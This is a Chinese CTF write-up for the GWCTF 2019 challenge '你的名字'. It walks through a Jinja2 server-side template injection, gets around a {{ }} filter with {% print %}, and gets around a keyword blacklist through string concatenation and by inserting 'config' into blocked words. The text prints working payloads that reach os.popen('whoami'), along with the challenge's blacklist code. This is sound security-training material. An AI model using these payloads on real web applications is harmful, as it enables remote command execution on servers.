[GWCTF 2019]你的名字
题目分析
首先上来就是只有一个框,经过尝试之后发现过滤掉了{{
和}}
这对符号,于是就怀疑是SSTI,接着就尝试模板注入的常规流程。发现不止是上面两个符号被过滤了,还有SSTI的部分符号也被过滤了,因此基本可以确定是SSTI,现在我们有两个需要绕过的点,一个是{{
和}}
符号的绕过,另外一点是关键字符过滤的绕过。
{{
和}}
过滤绕过
双大括号过滤的绕过比较常见,一般就是使用{% %}
配合if()
或者print()
函数进行输出,这里我们尝试用print()
输出我们测试的内容:
{%print lipsum%}
可以看到,输出了我们想要的内容,接着我们构造整条语句
{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}
发现存在关键字的过滤,导致语句无法执行。
绕过关键字过滤
使用拼接
一种方法就是使用拼接:
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}
或者分别定义:
{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}
使用逻辑错误绕过
先看看过滤的代码:
blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '')
else:
break
return s
这里题目的过滤函数写得不好,是先从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因此这里用双写是无法绕过的,但是这种过滤的逻辑是错误的,如下这种构造是无法被过滤的:
{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read()%}
因为config
字符串是在黑名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config
的过滤,但是过滤完config
之后才会出现黑名单中前面的字符串,因此可以绕过。